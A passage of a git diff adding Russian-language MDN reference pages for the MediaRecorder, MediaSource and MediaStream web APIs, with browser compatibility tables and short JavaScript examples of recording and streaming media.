Basic support{{CompatNo}}{{CompatChrome(47)}}{{CompatGeckoDesktop("25.0")}}1.3[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(47)}}
+
+ +

[1] The initial Firefox OS implementation only supported audio recording.

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/mediarecorder/ondataavailable/index.html b/files/ru/web/api/mediarecorder/ondataavailable/index.html new file mode 100644 index 0000000000..e84e622f74 --- /dev/null +++ b/files/ru/web/api/mediarecorder/ondataavailable/index.html @@ -0,0 +1,81 @@ +--- +title: MediaRecorder.ondataavailable +slug: Web/API/MediaRecorder/ondataavailable +translation_of: Web/API/MediaRecorder/ondataavailable +--- +

{{APIRef("MediaStream Recording")}}

+ +

MediaRecorder.ondataavailable обработчик события (часть MediaStream Recording API) обрабатывает {{event("dataavailable")}} событие, позволяет выполнить код, когда тип данных  {{domxref("Blob")}}, представляющий обработанные данные становиться доступным для использования.

+ +

Событие dataavailable вызывается когда MediaRecorder доставляет медиа данные в ваше приложение для использования. Они представляются в виде объекта типа  {{domxref("Blob")}}, содержащего данные. Это происходит в четырёх ситуациях:

+ + + +
+

Медиаданные, содержащиеся в объекте типа {{domxref("Blob")}} доступны в свойстве data , возвращаемого в параметре объекта события {{event("dataavailable")}}.

+
+ +

Синтаксис

+ +
MediaRecorder.ondataavailable = function(event) { ... }
+MediaRecorder.addEventListener('dataavailable', function(event) { ... })
+
+ +

Пример

+ +
...
+
+  mediaRecorder.onstop = function(e) {
+    console.log("data available after MediaRecorder.stop() called.");
+
+    var audio = document.createElement('audio');
+    audio.controls = true;
+    var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+    var audioURL = window.URL.createObjectURL(blob);
+    audio.src = audioURL;
+    console.log("recorder stopped");
+  }
+
+  mediaRecorder.ondataavailable = function(e) {
+    chunks.push(e.data);
+  }
+
+...
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#widl-MediaRecorder-ondataavailable", "MediaRecorder.ondataavailable")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.MediaRecorder.ondataavailable")}}

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/mediarecorder/requestdata/index.html b/files/ru/web/api/mediarecorder/requestdata/index.html new file mode 100644 index 0000000000..07fb15a876 --- /dev/null +++ b/files/ru/web/api/mediarecorder/requestdata/index.html @@ -0,0 +1,123 @@ +--- +title: MediaRecorder.requestData() +slug: Web/API/MediaRecorder/requestData +translation_of: Web/API/MediaRecorder/requestData +--- +

{{APIRef("MediaStream Recording")}}

+ +

Метод MediaRecorder.requestData() (часть MediaRecorder API) используется, чтобы поднять {{domxref("dataavailable")}} событие содержащее {{domxref("Blob")}} объект захваченных медиа-данных как это было когда метод был вызван. This can then be grabbed и маниулировать как необходимо.

+ +

When the requestData() method is invoked, the browser queues a task that runs the following steps:

+ +
    +
  1. If {{domxref("MediaRecorder.state")}} is not "recording", raise a DOM InvalidState error and terminate these steps. If {{domxref("MediaRecorder.state")}} is "recording", continue to the next step.
    2. +
  2. Raise a {{domxref("dataavailable")}} event containing a {{domxref("Blob")}} of the currently captured data (the Blob is available under the event's data attribute.)
    3. +
  3. Create a new Blob and place subsequently captured data into it.
    4. +
+ +

Syntax

+ +
MediaRecorder.requestData()
+ +

Errors

+ +

An InvalidState error is raised if the requestData() method is called while the MediaRecorder object’s {{domxref("MediaRecorder.state")}} is not "recording" — the media cannot be captured if recording is not occurring.

+ +

Example

+ +
...
+
+  captureMedia.onclick = function() {
+    mediaRecorder.requestData();
+    // makes snapshot available of data so far
+    // ondataavailable fires, then capturing continues
+    // in new Blob
+  }
+
+...
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#widl-MediaRecorder-requestData-void", "MediaRecorder.requestData()")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(47)}}[2]{{CompatGeckoDesktop("25.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("25.0")}}1.3[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] The intial Firefox OS implementation only supported audio recording.

+ +

[2] To try this feature on Chrome, enable Experimental Web Platform features from chrome://flags . Currently only video is supported, not audio.

+ +

See also

+ + diff --git a/files/ru/web/api/mediarecorder/start/index.html b/files/ru/web/api/mediarecorder/start/index.html new file mode 100644 index 0000000000..c86d17137e --- /dev/null +++ b/files/ru/web/api/mediarecorder/start/index.html @@ -0,0 +1,80 @@ +--- +title: MediaRecorder.start() +slug: Web/API/MediaRecorder/start +translation_of: Web/API/MediaRecorder/start +--- +
{{APIRef("Media Recorder API")}}
+ +

Метод MediaRecorder.start() (часть MediaRecorder API) используется для начала захвата медиа {{domxref("Blob")}}.

+ +

When the start() method is invoked, the UA queues a task that runs the following steps:

+ +
    +
  1. If the {{domxref("MediaRecorder.state")}} is not "inactive", raise a DOM InvalidState error and terminate these steps. if the {{domxref("MediaRecorder.state")}} is "inactive", continue on to the next step.
    2. +
  2. Set the {{domxref("MediaRecorder.state")}} to "recording" and wait until media becomes available from the stream passed into {{domxref("Navigator.getUserMedia")}}.
    3. +
  3. Once data becomes available, raise a {{domxref("MediaRecorder.start")}} event and start gathering the data into a {{domxref("Blob")}} (see FILE-API).
    4. +
  4. If the timeSlice argument has been provided, once that many milliseconds of data have been collected — or a minimum time slice imposed by the UA, whichever is greater — raise a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob of collected data, and start gathering a new Blob of data. If timeSlice has not been provided, continue gathering data into the original Blob.
    5. +
  5. When the stream is ended, set {{domxref("MediaRecorder.state")}} to "inactive" and stop gathering data.
    6. +
  6. Raise a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob of data.
    7. +
  7. Raise a {{domxref("MediaRecorder.stop")}} event.
    8. +
+ +
+

Note: If the browser is unable to start recording or continue recording, it will raise a {{domxref("DOMError")}} event, followed by a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob it has gathered, followed by the {{domxref("MediaRecorder.stop")}} event.

+
+ +

Синтаксис

+ +
MediaRecorder.start(timeslice)
+ +

Параметры

+ +
+
timeslice {{optional_inline}}
+
Этот параметр принимает значение в миллисекундах, и переопределяет длину куска захвата медиа для возвращения в каждом Blob. Если не указан, то все медиа данные будут занесены в один Blob, только если не был вызван метод {{domxref("MediaRecorder.requestData")}}.
+
+ +

Ошибки

+ +

An InvalidState error is raised if the start() method is called while the MediaRecorder object’s {{domxref("MediaRecorder.state")}} is not "inactive" — it makes no sense to start media capture if it is already happening.

+ +

Пример

+ +
...
+
+  record.onclick = function() {
+    mediaRecorder.start();
+    console.log("рекордер запущен");
+  }
+
+...
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#widl-MediaRecorder-start-void-long-timeslice", "MediaRecorder.start()")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Совместимость с браузерами

+ +

{{Compat("api.MediaRecorder.start")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mediarecorder/state/index.html b/files/ru/web/api/mediarecorder/state/index.html new file mode 100644 index 0000000000..b153d0d1ae --- /dev/null +++ b/files/ru/web/api/mediarecorder/state/index.html @@ -0,0 +1,84 @@ +--- +title: MediaRecorder.state +slug: Web/API/MediaRecorder/state +translation_of: Web/API/MediaRecorder/state +--- +
{{APIRef("MediaStream Recording")}}
+ +

Свойство только для чтения MediaRecorder.state возвращает текущее состояние определённого объекта MediaRecorder.

+ +

Синтаксис

+ +
var state = MediaRecorder.state
+ +

Значения

+ +

Объект AnimationPlayState содержит одно из нижеперечисленных значений:

+ + + + + + + + + + + + + + + + + + + + + + +
ЗначениеОписание
inactiveЗапись не ведётся — она ещё не была начата или уже была осуществлена и остановлена.
recordingЗапись начата и UA собирает данные.
pausedЗапись была начата, но поставлена на паузу, не остановлена и ещё не возобновлена.
+ +

Пример

+ +
...
+
+  record.onclick = function() {
+    mediaRecorder.start();
+    console.log(mediaRecorder.state);
+    // Должно вернуть "recording"
+    console.log("захват начат");
+  }
+
+...
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationСтатусКомментарий
{{SpecName("MediaStream Recording", "#widl-MediaRecorder-state", "MediaRecorder.state")}}{{Spec2("MediaStream Recording")}}Определена
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.MediaRecorder.state")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mediasource/index.html b/files/ru/web/api/mediasource/index.html new file mode 100644 index 0000000000..86746ab4e1 --- /dev/null +++ b/files/ru/web/api/mediasource/index.html @@ -0,0 +1,194 @@ +--- +title: MediaSource +slug: Web/API/MediaSource +tags: + - Видео + - Интерфейс + - Источник + - Потоковое медиа + - Расширение + - аудио +translation_of: Web/API/MediaSource +--- +

{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}

+ +

MediaSource – это интерфейс Media Source Extensions API для предоставления интерактивного источника медиаданных объектам типа {{domxref("HTMLMediaElement")}}.

+ +

Конструктор

+ +
+
{{domxref("MediaSource.MediaSource", "MediaSource()")}}
+
Создает и возвращает новый объект MediaSource не имеющий подключенных буферов данных.
+
+ +

Свойства

+ +

Наследует свойства родительского интерфейса , {{domxref("EventTarget")}}.

+ +
+
{{domxref("MediaSource.sourceBuffers")}} {{readonlyInline}}
+
Возвращает объект типа {{domxref("SourceBufferList")}}  содержащий список объектов типа {{domxref("SourceBuffer")}} , связанных непосредственно с текущим MediaSource.
+
{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}
+
Возвращает объект типа {{domxref("SourceBufferList")}} содержащий подмножество объектов типа {{domxref("SourceBuffer")}} хранящих в себе другие объекты типа {{domxref("SourceBuffers")}} — список объектов, предоставляющих доступ к выбранному видео, доступным аудиодорожкам, текстовым данным и тд.
+
{{domxref("MediaSource.readyState")}} {{readonlyInline}}
+
Возвращает enum, отображающий состояние текущего MediaSource-объекта, будь то отсутствие подключения к медиа-элементу(closed), подключенный и готовый к передаче объектов типа {{domxref("SourceBuffer")}} (open), или подключенный, но с завершенным потоком {{domxref("MediaSource.endOfStream()")}} (ended.)
+
{{domxref("MediaSource.duration")}}
+
Возвращает или устанавливает продолжительность предоставляемых медиаданных.
+
+ +
+
+ +
+
+ +

Методы

+ +

Наследует свойства родительского интерфейса, {{domxref("EventTarget")}}.

+ +
+
{{domxref("MediaSource.addSourceBuffer()")}}
+
Создает новый объект типа {{domxref("SourceBuffer")}}, с указанным  MIME-типом и добавляет в список MediaSource's {{domxref("SourceBuffers")}}.
+
{{domxref("MediaSource.removeSourceBuffer()")}}
+
Удаляет указанный {{domxref("SourceBuffer")}} из списка {{domxref("SourceBuffers")}}, связанного с текущим MediaSource-объектом.
+
{{domxref("MediaSource.endOfStream()")}}
+
Сигнализирует об окончании потока.
+
+

Статичные методы

+
+
{{domxref("MediaSource.isTypeSupported()")}}
+
Возвращает значение {{domxref("Boolean")}}, поясняющее, поддерживается ли клиентом полученный MIME-тип  — если это так, то можно успешно создать объект типа {{domxref("SourceBuffer")}} для этого MIME-типа.
+
+ +

Примеры

+ +

Нижеприведенный простой пример подгружает видео фрагмент за фрагментом так скоро, как может, воспроизводя их "как только так сразу". Этот пример был написан Nick Desaulniers и может быть просмотрен здесь в виде демо (также вы можете загрузить исходный код для дальнейшего изучения.)

+ +
var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window && MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource();
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+
+function fetchAB (url, cb) {
+  console.log(url);
+  var xhr = new XMLHttpRequest;
+  xhr.open('get', url);
+  xhr.responseType = 'arraybuffer';
+  xhr.onload = function () {
+    cb(xhr.response);
+  };
+  xhr.send();
+};
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#mediasource', 'MediaSource')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("-webkit")}}
+ 31		{{CompatVersionUnknown}}{{CompatGeckoDesktop("25.0")}}[1]
+ {{CompatGeckoDesktop("42.0")}}		11[2]158
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.4.4{{CompatVersionUnknown}} +

41.0

+ 		41.01130{{CompatNo}}
+
+ +

[1] Available after switching the about:config preference media.mediasource.enabled to true. In addition, support was limited to a whitelist of sites, for example YouTube, Netflix, and other popular streaming sites. The whitelist was removed and Media Source Extensions was enabled by default in 42+ for all sites.

+ +

[2] Only works on Windows 8+.

+ +

See also

+ + diff --git a/files/ru/web/api/mediastream/active/index.html b/files/ru/web/api/mediastream/active/index.html new file mode 100644 index 0000000000..2c94693316 --- /dev/null +++ b/files/ru/web/api/mediastream/active/index.html @@ -0,0 +1,53 @@ +--- +title: active +slug: Web/API/MediaStream/active +translation_of: Web/API/MediaStream/active +--- +

{{APIRef("Media Capture and Streams")}}

+ +

Свойство только для чтения active интерфейса {{domxref("MediaStream")}} возвращает логическое значение, которое может быть true, если стрим активен; во всех остальных случаях, будет возвращён false. Стрим считается активным, если хотя бы один из {{domxref("MediaStreamTrack")}} не находится в состоянии {{domxref("MediaStreamTrack.ended")}}. Как только все track завершатся, свойство active переключится в состояние false.

+ +

Синтаксис

+ +
var isActive = MediaStream.active;
+ +

Значение

+ +

Логическое значение равно true, если стрим активен; в противном случае, возвращается false.

+ +

Пример

+ +

В этом примере, стрим ведётся с пользовательского микрофона и веб-камеры, запрошенных с помощью {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}. Когда стрим становится активным (а это тогда, когда выполнен {{jsxref("Promise")}}, кнопка на странице обновляется, опираясь на состояние стрима, активен он или же нет.

+ +
var promise = navigator.mediaDevices.getUserMedia({
+  audio: true,
+  video: true
+});
+
+promise.then(function(stream) {
+  var startBtn = document.querySelector('#startBtn');
+  startBtn.disabled = stream.active;
+};)
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Media Capture', '#widl-MediaStream-active', 'active')}}{{Spec2('Media Capture')}}Определено.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.MediaStream.active")}}

diff --git a/files/ru/web/api/mediastream/index.html b/files/ru/web/api/mediastream/index.html new file mode 100644 index 0000000000..1ad0887194 --- /dev/null +++ b/files/ru/web/api/mediastream/index.html @@ -0,0 +1,134 @@ +--- +title: MediaStream +slug: Web/API/MediaStream +tags: + - API + - Media Streams API + - MediaStream + - Reference + - TopicStub + - WebRTC + - Интерфейс +translation_of: Web/API/MediaStream +--- +

{{APIRef("Media Capture and Streams")}}

+ +

Интерфейс MediaStream представляет поток медиа данных. Поток состоит из нескольких треков, таких как видео и аудио треки. Каждый трек является экземпляром {{domxref("MediaStreamTrack")}}. MediaStream можно получить либо с помощью конструктора, либо вызовом {{domxref("MediaDevices.getUserMedia()")}}.

+ +

Некоторые агенты предоставляют подклассы, чтобы привести более точную информацию или расширить функционал, например {{domxref("CanvasCaptureMediaStream")}}.

+ +

Конструктор

+ +
+
{{domxref("MediaStream.MediaStream", "MediaStream()")}}
+
Создаёт и возвращает новый объект MediaStream. Можно создать пустой поток, поток, основанный на существующем или содержащий указанный список треков (массив объектов {{domxref("MediaStreamTrack")}}).
+
+ +

Свойства

+ +

Этот интерфейс наследует свойства своего родителя, {{domxref("EventTarget")}}.

+ +
+
+ +
+
{{domxref("MediaStream.active")}} {{readonlyinline}}
+
Возвращает true, если MediaStream активен, иначе false.
+
{{domxref("MediaStream.ended")}} {{readonlyInline}} {{obsolete_inline()}}
+
Возвращает true, если достигнут конец потока. Это свойство удалено из спецификации; следует проверять свойство {{domxref("MediaStreamTrack.readyState")}}, которое имеет значение "ended" у завершённых треков.
+
+ +
+
{{domxref("MediaStream.id")}} {{readonlyInline}}
+
Объект {{domxref("DOMString")}}, содержащий 36 символов универсального уникального идентификатора (UUID) потока.
+
+ +

Обработчики событий

+ +
+
{{domxref("MediaStream.onaddtrack")}}
+
Объект {{domxref("EventHandler")}}, содержащий действие, которое должно выполняться, когда случается событие {{event("addtrack")}} при добавлении нового объекта {{domxref("MediaStreamTrack")}}.
+
{{domxref("MediaStream.onremovetrack")}}
+
Объект {{domxref("EventHandler")}}, содержащий действие, которое должно выполняться, когда случается событие {{event("removetrack")}} при удалении объекта  {{domxref("MediaStreamTrack")}}.
+
+ +

Методы

+ +

Этот интерфейс наследует методы своего родителя, {{domxref("EventTarget")}}.

+ +
+
{{domxref("MediaStream.addTrack()")}}
+
Сохраняет копию данного объекта {{domxref("MediaStreamTrack")}}. Если данный трек добавлялся в MediaStream ранее, ничего не происходит.
+
+ +
+
{{domxref("MediaStream.clone()")}}
+
Возвращает точную копию объекта MediaStream. Исключение составляет значение {{domxref("MediaStream.id", "id")}}, которое изменится на новое уникальное.
+
+ +
+
{{domxref("MediaStream.getAudioTracks()")}}
+
Возвращает список объектов {{domxref("MediaStreamTrack")}}, хранимых в объекте MediaStream с атрибутом kind имеющим значение "audio". Порядок не определён и может меняться между браузерами, а также между вызовами.
+
+ +
+
{{domxref("MediaStream.getTrackById()")}}
+
Возвращает трек с trackid соответствующем данному. Если в метод не передано аргументов или трека с данным ID нет, возвращает null. Если несколько треков имеют одинаковый ID, возвращает первый из них.
+
{{domxref("MediaStream.getTracks()")}}
+
Возвращает список всех объектов {{domxref("MediaStreamTrack")}}, сохранённых в объекте MediaStream, вне зависимости от значения их свойства kind. Порядок не определён и может меняться между брауерами, а также между вызовами.
+
+ +
+
{{domxref("MediaStream.getVideoTracks()")}}
+
Возвращает список объектов {{domxref("MediaStreamTrack")}}, хранимых в объекте MediaStream с атрибутом kind имеющим значение "video". Порядок не определён и может меняться между браузерами, а также между вызовами.
+
+ +
+
{{domxref("MediaStream.removeTrack()")}}
+
Удаляет данный объект {{domxref("MediaStreamTrack")}}. Если данный трек не сохранён в объекте MediaStream, ничего не происходит.
+
+ +

События

+ +
+
addtrack
+
Вызывается при добавлении нового объекта {{domxref("MediaStreamTrack")}}.
+ Также доступно как свойство onaddtrack.
+
removetrack
+
Вызывается при удалении объекта {{domxref("MediaStreamTrack")}}.
+ Также доступно как свойство onremovetrack.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastream', 'MediaStream')}}{{Spec2('Media Capture')}}
+ +

Поддержка браузерами

+ + + +

{{Compat("api.MediaStream")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/index.html new file mode 100644 index 0000000000..deafe13eed --- /dev/null +++ b/files/ru/web/api/mediastream_recording_api/index.html @@ -0,0 +1,129 @@ +--- +title: MediaStream Recording API +slug: Web/API/MediaStream_Recording_API +translation_of: Web/API/MediaStream_Recording_API +--- +
{{DefaultAPISidebar("MediaStream Recording")}}
+ +

MediaStream Recording API, иногда просто называемый Media Recording API или MediaRecorder API, тесно связан с Media Capture and Streams API и WebRTC API. MediaStream Recording API делает возможным захват данных, сгенерированных {{domxref("MediaStream")}} или {{domxref("HTMLMediaElement")}} объектом для анализа, обработки или сохранения на дисковое пространство. С ним так же удивительно легко работать.

+ +

Базовая концепция

+ +

MediaStream Recording API состоит из единого интерфейса, {{domxref("MediaRecorder")}}, который делает всю работу, принимая данные из {{domxref("MediaStream")}} и доставляя их обработчику. Данные поставляются с помощью серии {{event("dataavailable")}} событий, уже в том формате, который был указан, когда MediaRecorder был создан. Процесс записи потока прост:

+ +
    +
  1. Установите {{domxref("MediaStream")}} или {{domxref("HTMLMediaElement")}} (в виде {{HTMLElement("audio")}} или {{HTMLElement("video")}} элемента), чтобы тот служил в качестве источника медиа-данных.
    2. +
  2. Установите {{domxref("MediaRecorder.ondataavailable")}} обработчик событий для {{event("dataavailable")}} событий; он будет вызываться каждый раз, как данные будут доступны.
    3. +
  3. Создайте {{domxref("MediaRecorder")}} объект, указав исходный поток и любые опции по желанию (такие как MIME-тип контейнера или желаемый битрей его треков).
    4. +
  4. Как только исходная медиа запустится и будет достигнута точка, где вы будете готовы записать видео, вызовите {{domxref("MediaRecorder.start()")}} для начала записи.
    5. +
  5. Ваш {{event("dataavailable")}} обработчик будет вызываться каждый раз, как появлятся данные, готовые для выполнения вами над ними ожидаемых операций; событие имеет дата-атрибут, чье занчение {{domxref("Blob")}}, который содержит медиа-данные. Вы можете принудительно вызвать dataavailable событи, доставляя тем самым последние данные, чтобы вы могли отфильтровать их, сохранить и тд.
    6. +
  6. Запись останавливается автоматически, когда исходное медиа закончит проигрываться.
    7. +
  7. Вы можетет остановить запись в любое время, вызвав  {{domxref("MediaRecorder.stop()")}}.
    8. +
+ +

Вы можете так же использовать свойства MediaRecorder объекта для опредления состояния процесса записи и его {{domxref("MediaRecorder.pause", "pause()")}} и {{domxref("MediaRecorder.resume", "resume()")}} методы, чтобы остановить и возобновить запись исходной медиа.

+ +

Если вам нужно или вы хотите проверить, поддерживается ли определенный MIME-тип, это так же возможно. Просто вызовите {{domxref("MediaRecorder.isMimeTypeSupported()")}}.

+ +

Чтобы узнать больше о MediaStream Recording API, смотрите Using the MediaStream Recording API, который показывает, как использовать API для записи аудио клипов. Другая статья, Recording a media element, описывает, как получить поток из  {{HTMLElement("audio")}} или {{HTMLElement("video")}} элементов и использовать захватывающие потоки (в этом случае, запись и сохранение их на локальный диск).

+ +

Ссылки

+ +

{{domxref("BlobEvent")}}

+ +

{{domxref("MediaRecorder")}}

+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{CompatChrome(47.0)}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(47.0)}}{{CompatGeckoDesktop("25.0")}}1.3[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(47.0)}}
+
+ +

[1] The initial Firefox OS implementation only supported audio recording.

+ +

[2] To use {{domxref("MediaRecorder")}} in Chrome 47 and 48, enable experimental Web Platform features from the chrome://flags page.

+ +

[3] Audio recording works in Chrome 49 and above; Chrome 47 and 48 only support video recording.

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html new file mode 100644 index 0000000000..7d3daa1d33 --- /dev/null +++ b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html @@ -0,0 +1,272 @@ +--- +title: Запись медиа элемента +slug: Web/API/MediaStream_Recording_API/Recording_a_media_element +translation_of: Web/API/MediaStream_Recording_API/Recording_a_media_element +--- +
{{DefaultAPISidebar("MediaStream Recording")}}
+ +

В статье Использование интерфейса MediaStream Recording API демонстрируется использование объекта типа {{domxref("MediaRecorder")}} для захвата потока, представляющего объект типа {{domxref("MediaStream")}} , сгенерированного аппаратными средствами устройства и возвращаемого методом {{domxref("MediaDevices.getUserMedia()","navigator.mediaDevices.getUserMedia()")}}, но можно также использовать HTML медиа элемент (а именно {{HTMLElement("audio")}} или {{HTMLElement("video")}})  в качестве источника потока MediaStream для его записи. В этой статье рассматривается пример выполняющий это.

+ +
+

HTML содержимое

+ + + +

Рассмотрим ключевые моменты кода  HTML. Это только небольшой отрывок, относящийся к информационной части приложения.

+ +
<div class="left">
+  <div id="startButton" class="button">
+    Start
+  </div>
+  <h2>Preview</h2>
+  <video id="preview" width="160" height="120" autoplay muted></video>
+</div>
+
+ +

Основной интерфейс представляется в двух колонках. В левой находиться кнопка старта и элемент {{HTMLElement("video")}} , который отображает предварительный просмотр видео. Это видео, воспроизводится камерой устройства. Заметте, что используется атрибут {{htmlattrxref("autoplay", "video")}}, что бы поток начал воспроизводиться немедленно, снимаясь прямо  с камеры. Атрибут {{htmlattrxref("muted", "video")}} гарантирует отключение звука с микрофона, для предотвращения цикличного эхо эффекта.

+ +
<div class="right">
+  <div id="stopButton" class="button">
+    Stop
+  </div>
+  <h2>Recording</h2>
+  <video id="recording" width="160" height="120" controls></video>
+  <a id="downloadButton" class="button">
+    Download
+  </a>
+</div>
+
+ +

Справа мы видим кнопку остановки и элемент <video>, который будет использоваться для воспроизведения записанного видео. Обратите внимание, что на панели воспроизведения не установлен режим автозапуска (поэтому воспроизведение не начинается сразу после поступления мультимедиа), а также установлен атрибут {{htmlattrxref ("controls", "video")}}, что говорит о необходимости показывать пользовательские элементы управления для воспроизведения, паузы и т. д.

+ +

Под элементом воспроизведения находится кнопка для загрузки записанного видео.

+ + + +

JavaScript

+ +

Теперь давайте посмотрим на код JavaScript

+ +

Установка глобальных переменных

+ +

Мы начнем с установления некоторых глобальных переменных, которые нам понадобятся.

+ +
let preview = document.getElementById("preview");
+let recording = document.getElementById("recording");
+let startButton = document.getElementById("startButton");
+let stopButton = document.getElementById("stopButton");
+let downloadButton = document.getElementById("downloadButton");
+let logElement = document.getElementById("log");
+
+let recordingTimeMS = 5000;
+
+ +

Большинство из них являются ссылками на элементы, с которыми нам нужно работать. Последняя, recordingTimeMS, установлена на 5000 миллисекунд (5 секунд);.

+ +

Используемые функции

+ +

Далее мы создадим несколько служебных функций, которые будут использованы позже.

+ +
function log(msg) {
+  logElement.innerHTML += msg + "\n";
+}
+
+ +

Функция log () используется для вывода текстовых строк в {{HTMLElement ("div")}}, чтобы мы могли делиться информацией с пользователем.

+ +
function wait(delayInMS) {
+  return new Promise(resolve => setTimeout(resolve, delayInMS));
+}
+
+ +

The wait() function returns a new {{jsxref("Promise")}} which resolves once the specified number of milliseconds have elapsed. It works by using an arrow function which calls {{domxref("window.setTimeout()")}}, specifying the promise's resolution handler as the timeout handler function. That lets us use promise syntax when using timeouts, which can be very handy when chaining promises, as we'll see later.

+ +

Starting media recording

+ +

The startRecording() function handles starting the recording process:

+ +
function startRecording(stream, lengthInMS) {
+  let recorder = new MediaRecorder(stream);
+  let data = [];
+
+  recorder.ondataavailable = event => data.push(event.data);
+  recorder.start();
+  log(recorder.state + " for " + (lengthInMS/1000) + " seconds...");
+
+  let stopped = new Promise((resolve, reject) => {
+    recorder.onstop = resolve;
+    recorder.onerror = event => reject(event.name);
+  });
+
+  let recorded = wait(lengthInMS).then(
+    () => recorder.state == "recording" && recorder.stop()
+  );
+
+  return Promise.all([
+    stopped,
+    recorded
+  ])
+  .then(() => data);
+}
+
+ +

startRecording() takes two input parameters: a {{domxref("MediaStream")}} to record from and the length in milliseconds of the recording to make. We always record no more than the specified number of milliseconds of media, although if the media stops before that time is reached, {{domxref("MediaRecorder")}} automatically stops recording as well.

+ +
+
Line 2
+
Creates the MediaRecorder that will handle recording the input stream.
+
Line 3
+
Creates an empty array, data, which will be used to hold the {{domxref("Blob")}}s of media data provided to our {{domxref("MediaRecorder.ondataavailable", "ondataavailable")}} event handler.
+
Line 5
+
Sets up the handler for the {{event("dataavailable")}} event. The received event's data property is a {{domxref("Blob")}} that contains the media data. The event handler simply pushes the Blob onto the data array.
+
Lines 6-7
+
Starts the recording process by calling {{domxref("MediaRecorder.start", "recorder.start()")}}, and outputs a message to the log with the updated state of the recorder and the number of seconds it will be recording.
+
Lines 9-12
+
Creates a new {{jsxref("Promise")}}, named stopped, which is resolved when the MediaRecorder's {{domxref("MediaRecorder.onstop", "onstop")}} event handler is called, and is rejected if its {{domxref("MediaRecorder.onerror", "onerror")}} event handler is called. The rejection handler receives as input the name of the error that occurred.
+
Lines 14-16
+
Creates a new Promise, named recorded, which is resolved when the specified number of milliseconds have elapsed. Upon resolution, it stops the MediaRecorder if it's recording.
+
Lines 18-22
+
